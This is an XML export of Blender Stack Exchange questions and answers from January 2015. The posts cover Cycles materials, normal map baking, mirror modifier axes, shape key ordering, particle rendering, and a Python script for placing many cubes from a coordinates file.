  <row Id="22984" PostTypeId="1" CreationDate="2015-01-10T09:51:06.200" Score="0" ViewCount="281" Body="&lt;p&gt;I'm having problems with texturing a model in cycles (blender 2.72b). I downloaded the model and it comes with 3 tga files per section. see image below for the hair for example&lt;img src=&quot;https://i.stack.imgur.com/ioTGn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I render in cycles. I search the forums, but i still can't get the transparency right. How do I set this up with nodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="10894" LastActivityDate="2015-01-10T09:51:06.200" Title="xps model hair transparency in cycles" Tags="&lt;cycles-render-engine&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-01-10T14:28:56.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="22985" PostTypeId="1" CreationDate="2015-01-10T10:01:37.040" Score="4" ViewCount="2095" Body="&lt;p&gt;This is more of a general 3D material question than a Blender issue but there seems to be no Stack Exchange forum for more general 3D design questions so I'm posting this here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to bake a normal map from a high poly model to a low poly model so that the normal map gives the impression of high detail (as used generally for low poly game 3D objects) but I can't figure out how to get it look smooth on round shapes like in my example here ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Knsn9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a simple bucket model. The hi poly model cylinder has 24 sides vertically and looks very smooth in subdivision mode. The low poly model has 12 sides. You can see that the baked round edge doesn't help anything to make the low poly model more detailed. it just looks bad. So I wonder what are some good ways to improve this without increasing the polys on the low poly mesh?&lt;/p&gt;&#xA;" OwnerUserId="10895" LastActivityDate="2019-08-13T17:03:30.983" Title="Fixing unclean Normal map on round shapes?" Tags="&lt;modeling&gt;&lt;uv&gt;&lt;texture-baking&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22987" PostTypeId="1" AcceptedAnswerId="22989" CreationDate="2015-01-10T13:01:53.890" Score="2" ViewCount="1418" Body="&lt;p&gt;I have 2 objects a face and an ear. Mirror modifier works fine for the face. But when I use mirror modifier to duplicate the ear on X axis, it duplicates on Z axis. And when I use mirror modifier on Z axis it mirrors on X axis. How to correct the axis orientation? &#xA;&lt;img src=&quot;https://i.stack.imgur.com/rxpoO.png&quot; alt=&quot;no mirror modifier&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GzaKA.png&quot; alt=&quot;mirror modifier along X&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qepzO.png&quot; alt=&quot;mirror modifier along Z&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3377" LastEditorUserId="2217" LastEditDate="2015-01-10T15:03:40.003" LastActivityDate="2016-05-10T05:58:31.113" Title="Mirror modifier mirrors on different axis/axes from the selected one(s)" Tags="&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22989" PostTypeId="2" ParentId="22987" CreationDate="2015-01-10T14:34:19.583" Score="3" Body="&lt;p&gt;If the ear was rotated, you will need to apply the rotation. To do this, in object mode either press&lt;br&gt;&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; then &lt;kbd&gt;R&lt;/kbd&gt; or click &lt;code&gt;Object&lt;/code&gt; &gt; &lt;code&gt;Apply&lt;/code&gt; &gt; &lt;code&gt;Rotation&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://blender.stackexchange.com/questions/7298/why-is-it-important-to-apply-transformation-to-an-objects-data&quot;&gt;Why is it important to apply transformation to an objects data?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorUserId="-1" LastEditorDisplayName="user7952" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2016-05-10T05:58:31.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22990" PostTypeId="1" AcceptedAnswerId="22995" CreationDate="2015-01-10T14:57:21.900" Score="4" ViewCount="157" Body="&lt;p&gt;I can't figure out if there's something wrong with blender or my script. So far I have this little code, which does its job if the file which is parsing is not SO big:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;fh = open('coordinates.txt')&#xA;&#xA;for line in fh:&#xA;    coo = line.split()&#xA;    x = float(coo[0])&#xA;    y = float(coo[1])&#xA;    z = float(coo[2])&#xA;    bpy.ops.mesh.primitive_cube_add(location=(x, y, z))&#xA;    bpy.ops.transform.resize(value=(1, 1, 1))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try coordinates.txt with few lines, it works and it creates the cubes, but when I do it with its original size of around 215000 lines, Blender stops responding and it stays like that forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone any idea of what I can do to avoid it? (&lt;em&gt;Reducing the file's lines is not an option&lt;/em&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw, coordinates.txt has this format&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;335.0091 2433.163 -126.9688&#xA;351.7849 2352.089 -126.9688&#xA;-493 -808 128.5834&#xA;-1076 -843 132.8153&#xA;160.123 2369.68 -126.9688&#xA;-760.663 -836.174 132.07&#xA;182.9523 2438.389 -126.9688&#xA;-332 -754 88.59317&#xA;259.0002 2480.136 -126.9688&#xA;-857.507 -738.361 130.3733&#xA;338.3209 2430.226 -126.9688&#xA;353.1722 2349.083 -126.9688&#xA;-493 -808 128.5834&#xA;-1076 -843 132.8153&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10866" LastEditorUserId="2217" LastEditDate="2015-01-10T15:13:11.277" LastActivityDate="2015-01-10T20:39:01.057" Title="Is there a timeout/max capacity in blender's phyton scripts?" Tags="&lt;scripting&gt;&lt;objects&gt;&lt;optimization&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22993" PostTypeId="2" ParentId="22967" CreationDate="2015-01-10T16:22:40.207" Score="1" Body="&lt;p&gt;&lt;kbd&gt;H&lt;/kbd&gt; will turn any node into a capsule. This is perfect if you don't plan on editing the particular node any more. From there you can grab the two little strikes in the right side of the capsule and shrink it more!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just don't lose it's name!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t6HCb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can even condense large nodes like light path, just make sure something is connected.&#xA;Shrink the large node with &lt;kbd&gt;Ctrl&lt;/kbd&gt; &gt; &lt;kbd&gt;H&lt;/kbd&gt; and then click the little arrow in the top left or press &lt;kbd&gt;H&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uDrPv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2015-01-10T16:41:42.730" LastActivityDate="2015-01-10T16:41:42.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22994" PostTypeId="1" CreationDate="2015-01-10T16:54:04.743" Score="1" ViewCount="321" Body="&lt;p&gt;In a &lt;em&gt;Vertex Groups&lt;/em&gt; panel there is a possibility to move the selected group (which lies on the bottom of the list) to the top by clicking the 'down arrow', but in the &lt;em&gt;Shape Keys&lt;/em&gt; panel there is not such option.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/15wej.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made a model which has over 200 shapekeys. You can modify every part of a body- from the top of the head to the toes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V3knL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when I try to add a new shapekey to the upper part of the body. It appears on the bottom of the list and I have to click the 'up arrow' over and over again to place it higher. Is there some way to place the new shapekeys on the top faster or add a new shapekey to the specified position on the list? &lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-01-12T14:58:05.273" Title="How to manage the shapekey's position faster?" Tags="&lt;interface&gt;&lt;editing&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22995" PostTypeId="2" ParentId="22990" CreationDate="2015-01-10T16:54:36.817" Score="4" Body="&lt;p&gt;Your srcipt is fine, and blender is not timing out, but rather you have found a limitation of blender. Blender is not good at displaying many objects, 250,000 different cubes will crash blender.&lt;br&gt;&#xA;Try adding 3 array modifiers to a cube, to generate 250,00 cubes, then go into edit mode and separate by &lt;em&gt;Loose Parts&lt;/em&gt; (blender will crash.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of adding a cube at each coordinate, create a mesh with all the coordinates as  vertices. So each coordinate is represented as a vertex.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;fh = open('coordinates.txt')&#xA;&#xA;# A list of the locations of the cubes&#xA;vertices = []&#xA;&#xA;for line in fh:&#xA;    coo = line.split()&#xA;    x = float(coo[0])&#xA;    y = float(coo[1])&#xA;    z = float(coo[2])&#xA;&#xA;    # Instead of adding a cube, append the location of the cube to vertices&#xA;    vertices.append((x, y, z))&#xA;&#xA;# Make a new mesh and set its vertices&#xA;mesh = bpy.data.meshes.new('verts')&#xA;mesh.from_pydata(vertices, [], [])&#xA;&#xA;# Make an object for the mesh&#xA;object = bpy.data.objects.new('verts', mesh)&#xA;bpy.context.scene.objects.link(object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then parent a default cube to the newly generated mesh, and use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliVerts&quot; rel=&quot;nofollow noreferrer&quot;&gt;dupliverts&lt;/a&gt; to add a cube at each vertex.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RjstN.png&quot; alt=&quot;Dupliverts&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the excerpt of your coordinates, in top view, it produces this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bwGun.png&quot; alt=&quot;Test file&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-01-10T20:39:01.057" LastActivityDate="2015-01-10T20:39:01.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22996" PostTypeId="1" CreationDate="2015-01-10T16:55:12.557" Score="2" ViewCount="673" Body="&lt;p&gt;I try to use vertex painting in cycles as a factor to mix two different materials, which works perfectly fine. However, while I paint the object in the viewport in rendered shading mode, the viewport window only updates when I change the viewport shading mode or the object interaction mode (I resorted to pressing tab twice after a brush stroke as a &quot;solution&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, when I use a texture as a mix factor in texture paint mode, the viewport window in rendered shading mode updates immediately after I release the mouse button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;https://www.youtube.com/watch?v=EqdJELK0H_w&quot; rel=&quot;nofollow&quot;&gt;this video&lt;/a&gt; (at ca. 1:39) which shows the same node setup as mine, you can see that the viewport updates without the user having to change the shading mode or the interaction mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which settings or addons do I have to use to get the viewport to update in real time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the following Blender versions for Windows and the problem appears in the Windows versions 2.65(64bit), 2.68(64bit), 2.72b(32bit/64bit) and 2.73(32bit/64bit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't appear in the Windows versions 2.63(32bit/64bit) (the same version as in the linked video), 2.64(64bit) and 2.64a(64bit).&lt;/p&gt;&#xA;" OwnerUserId="10902" LastEditorUserId="10902" LastEditDate="2015-01-10T20:59:51.363" LastActivityDate="2015-01-10T20:59:51.363" Title="How can I get the viewport in rendered shading mode to update in real time during vertex painting in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;3d-view&gt;&lt;vertex-colors&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22997" PostTypeId="2" ParentId="22960" CreationDate="2015-01-10T16:59:23.487" Score="4" Body="&lt;p&gt;The mesh is actually responding to the wind, but it takes a value of 20k force to make it respond as desired. The flag has a much larger distance to be suspended by the force of the wind so it takes a much greater force. The sails are suspended so they respond much more readily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try reducing the mass of the flag so that it doesn't take as much force.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-01-10T17:15:13.487" LastActivityDate="2015-01-10T17:15:13.487" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="22998" PostTypeId="1" CreationDate="2015-01-10T17:37:26.217" Score="5" ViewCount="2575" Body="&lt;p&gt;As a sort of follow-up to &lt;a href=&quot;https://blender.stackexchange.com/questions/22972/what-does-the-radius-vector-do-on-an-sss-shader&quot;&gt;this question&lt;/a&gt;, what units does the scattering radius use on a cycles subsurface scattering shader?&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2016-01-18T02:37:30.187" Title="What units does the cycles SSS scattering radius use?" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;&lt;units&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23000" PostTypeId="2" ParentId="5712" CreationDate="2015-01-10T18:41:26.320" Score="4" Body="&lt;p&gt;As &lt;a href=&quot;https://developer.blender.org/T40175&quot; rel=&quot;nofollow noreferrer&quot;&gt;stated by Blender Developer Brecht Van Lommel&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;That's the correct behavior. It samples one of the two lamps at random (unless you use branched path tracing). So at even samples it can sample both of them the same number of times, on odd samples that is not possible so there is noise from that.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There is also a &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?304930-Odd-numbered-samples-noisier&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;thread on BlenderArtists&lt;/strong&gt;&lt;/a&gt; about this, one of things that was mentioned was this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Are you using the Correlated Multi-Jitter sampler (because I've read that the best results using it will come when you set the sample count to a power of 2)?&lt;/p&gt;&#xA;&lt;p&gt;In this case, values like 8, 16, 32, 128, 4096 will produce less noise than say, 7 or 4000, so if you're not using Sobol, it's no surprise.&lt;/p&gt;&#xA;&lt;p&gt;If you are using the default Sobol sampler, then there may or may not be an issue because I don't think the values placed for the samples should matter that much.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-10T20:26:17.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23001" PostTypeId="2" ParentId="22994" CreationDate="2015-01-10T18:47:54.973" Score="2" Body="&lt;p&gt;No, as far as I know, this does not exist in blender without a modification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;: Open all of the shape key filtering options and click the (az) symbol; This will alphabetize your list, and since all of your shapes are so organized in the first place, all you have to do is rename a brand new shape to it's proper category and it should end up there automatically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AMtCS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should put all shape keys under their proper headed, as long as the all the headers are like the ones you show above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MoNIx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2015-01-12T14:58:05.273" LastActivityDate="2015-01-12T14:58:05.273" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23002" PostTypeId="1" CreationDate="2015-01-10T18:52:36.137" Score="0" ViewCount="137" Body="&lt;p&gt;How do I export BlenderIvy as a Collada (DAE) file? (Blender to SketchUp)&#xA;3ds worked, but not with leaves instanced &amp;amp; with materials...&#xA;DAE now comes in as a blank file...&lt;/p&gt;&#xA;" OwnerUserId="10905" LastActivityDate="2015-01-10T18:52:36.137" Title="Blender Ivy export as DAE" Tags="&lt;export&gt;&lt;collada&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23004" PostTypeId="2" ParentId="22998" CreationDate="2015-01-10T19:19:22.137" Score="3" Body="&lt;p&gt;There is a &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-348263.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;BlenderArtists thread&lt;/strong&gt;&lt;/a&gt; on this subject. In it it is said:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;About Scale: 1 blender unit = 1 meter. (I use metric system) don't know how works with Imperial, never tested.&lt;/p&gt;&#xA;&lt;p&gt;Scale is actually multiplied by the Radius then, so if you use Scale = 1.0 and Radius = 0.1, 0.1, 0.1 is equal to Scale = 0.1 Radius = 1.0,1.0,1.0&lt;/p&gt;&#xA;&lt;p&gt;When using colors it's the same but calcs are not that quick, at least for me.&lt;/p&gt;&#xA;&lt;p&gt;Let's say we want the monkey to sub-surface scatter a bit of red like my example above. Setting Scale = 0.1 And Radius = .5, .05, .05 (RGB!) will give the same output as Scale = 1.0 and Radius = .05, .005, .005 (as you see I divided by 10 the Radius values to compensate the Scale being 10 time bigger)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The radius appears to be derived from both the scale of the object and the radius values. Applying the scale should change results, and is a good way to test this theory.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-10T19:19:22.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23005" PostTypeId="1" AcceptedAnswerId="23010" CreationDate="2015-01-10T20:28:39.417" Score="6" ViewCount="24003" Body="&lt;p&gt;I have a super simple Particle system. I am instancing a sphere (Render-&gt;Object-&gt;DupliObject-&gt;Sphere) with a white emission material.&#xA;When I set the viewport to render everything shows up fine, when I hit F12 nothing shows....&#xA;WHY?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have any postprocessing enabled in the rendersettings, and I tried to cache the particles, but nothing so far...&lt;br&gt;&#xA;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33752&quot; rel=&quot;noreferrer&quot;&gt;Here is a simplified scene that shows that behaviour&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could create a new system in a fresh scene, and append it into my main scene. So the problem is not related to the rendersettings.&lt;/p&gt;&#xA;" OwnerUserId="7923" LastEditorUserId="599" LastEditDate="2015-01-10T23:35:29.297" LastActivityDate="2020-12-03T18:52:43.650" Title="Particles render in viewport, but not in final" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23006" PostTypeId="2" ParentId="5712" CreationDate="2015-01-10T20:33:12.783" Score="13" Body="&lt;p&gt;Sometimes it so happens that if the renderer has to sample N discrete things, and the number of samples is a multiple of N, then it can be that each thing gets exactly the same number of samples, which gives less noise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With path tracing, each AA sample picks one light at random. If you have 2 lights with 2 AA samples then each light can be picked once, but if you have 3 AA samples then one light must necessarily get more samples than the other, which results in noise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Cycles used pure random sampling to pick the light for each AA sample this effect would not happen, with 2 AA samples a light might then get 0, 1 or 2 samples and it would still be noisy. However the Sobol and Correlated Multi-Jitter sampling distributions used by Cycles are such that each light does get exactly the same number of samples. For Sobol this works if the number of lights is a power of two, for Correlated Multi-Jitter it works for any number of lights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For SSS it's more difficult to explain. We use ray tracing to find nearby points on the surface, where 50% of the rays are distributed along the direction of the normal, and 25% along two tangent directions. For flat surfaces only the rays along the direction of the normal will find points on the surface, and the sample distributions are such that an even number of AA samples will cause each pixel to hit the surface the same number of times.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2015-01-10T20:33:12.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23007" PostTypeId="1" CreationDate="2015-01-10T22:10:54.707" Score="1" ViewCount="367" Body="&lt;p&gt;I'm very new to blender, am trying to convert a grayscale image (that I drew) to 3D so that I can see what I have, and re-sculpt by adjusting the drawing in Photoshop. When I Import Image as Plane, only about a third of the image gets imported, usually the central portion. I can get around this by doubling the image's canvas size, but is there something I am doing wrong that makes this image come in cropped, instead of completely?&lt;/p&gt;&#xA;" OwnerUserId="10909" LastActivityDate="2018-04-22T03:29:59.557" Title="Import Image as Plane imports only part of the image" Tags="&lt;image&gt;&lt;import&gt;" AnswerCount="0" CommentCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="23008" PostTypeId="1" CreationDate="2015-01-10T22:11:40.920" Score="1" ViewCount="126" Body="&lt;p&gt;I am wondering if I have a complex model if I can get a list of connected polygons. (Or in other words if I have a texture that creeps from a point when it reaches a edge it moves onto the next polygon)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DE7jt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The uv map to the right is a diagram of what I am trying to achieve. Each of the two edges with the same letter connects. And when I draw a line off the edge of one of the UV faces it gets moved to the face that connects to it. (see edges J and K)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Do7MF.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10908" LastEditorUserId="10908" LastEditDate="2015-01-12T02:21:34.100" LastActivityDate="2015-01-12T02:21:34.100" Title="connected polygon map" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23009" PostTypeId="1" AcceptedAnswerId="23017" CreationDate="2015-01-10T22:28:30.540" Score="1" ViewCount="439" Body="&lt;p&gt;I'm trying to create a mountain in the distance that has a bunch of lights on it randomly to simulate populations of people. I'm using Blender's cycles render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, I'm using 3 different types of icospheres with a shadeless material to act as the light points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the nodes for the shadeless material, I have one in a yellow, white, and red variant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FLuqH.jpg&quot; alt=&quot;The nodes for the material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have these icospheres being used as children on a particle system on the mountain. So that they can be placed at random spots on the mountain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had assumed they would just be small points of lights on the mountains.&#xA;Unfortunately, upon rendering, they come out looking like a bad texture applied to the mountain, rather than just the small points. They render fine on the first few passes, then on the last, it squashes them into the weird looking texture thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example. (The circled area is just where I had placed the parent icospheres next to the mountain to display how it SHOULD look).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/87IjM.jpg&quot; alt=&quot;Strange particle thing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it's due to the samples, although I have been rendering at a pretty low sample size (around 50) just for previews.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be a problem with the actual particle settings, I just can figure out which ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an image of my settings.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FDckN.jpg&quot; alt=&quot;Particle settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could help figure this out, I would be really grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="10871" LastEditorUserId="10871" LastEditDate="2015-01-11T01:13:28.250" LastActivityDate="2015-01-11T01:13:28.250" Title="Particle Rendering problem (looks like a texture rather than particle)" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23010" PostTypeId="2" ParentId="23005" CreationDate="2015-01-10T23:32:03.410" Score="8" Body="&lt;p&gt;This is because the particle emitter is hidden in the render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U2ERO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Particles inherit the object level properties of the emitter, so hiding the emitter object will hide the particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To exclude the emitter from the render without hiding the particles, disable &lt;em&gt;Emitter&lt;/em&gt; in &lt;em&gt;Particle settings &gt; Render&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MJJdn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is already disabled in your file&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To hide the emitter in the viewport without hiding particles, see &lt;a href=&quot;https://blender.stackexchange.com/q/3539/599&quot;&gt;Is it possible to hide particle emitters in the viewport without hiding particles?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-01-10T23:37:37.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23011" PostTypeId="1" CreationDate="2015-01-10T23:34:53.090" Score="1" ViewCount="1405" Body="&lt;p&gt;I have a mesh (an operation table), like a normal operation table, just the top part(cushion part) can be bent and because of that, I put an armature inside the mesh.&lt;br&gt;&#xA;What I want to have at the end is that the top part of the table can be bent, but the bottom part, the cantilever, shouldn't be deformed when I rotate the bone of the top part (x-axis top when you see it at the pic). The problem is that when I rotate the top part, the bottom part of the mesh is actually moving along the deformation of the top part of the mesh. How can I set the armature so that the bottom part isn't deformed along?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33758&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tAtmG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tAtmG.png&quot; alt=&quot;armature&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the bone (It won't show even with the X-Ray mode)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YTd6L.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YTd6L.png&quot; alt=&quot;deformed mesh&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;The bottom part (the reverse T part of the table shouldn't be deformed - Just stay like it is).&lt;br&gt;&#xA;  How should I put the weight or edit the armature? I haven't got the hang of weight of the armature.&lt;/p&gt;&#xA;" OwnerUserId="8396" LastEditorUserId="2217" LastEditDate="2015-01-12T14:42:54.697" LastActivityDate="2015-01-13T04:26:20.293" Title="Unwanted deformation by changing the pose of armature" Tags="&lt;armature&gt;&lt;bones&gt;&lt;weight-painting&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="23012" PostTypeId="1" AcceptedAnswerId="23013" CreationDate="2015-01-10T23:56:54.803" Score="6" ViewCount="9265" Body="&lt;p&gt;I don't understand what the white circle with the cross is for. I can change its position by left mouse click in the 3D view. Why does it change its position and what it is for?&lt;/p&gt;&#xA;" OwnerUserId="10913" LastEditorUserId="2217" LastEditDate="2015-01-11T00:43:54.687" LastActivityDate="2018-01-04T23:02:40.370" Title="What does left clicking in the 3D view do?" Tags="&lt;3d-view&gt;&lt;3d-cursor&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
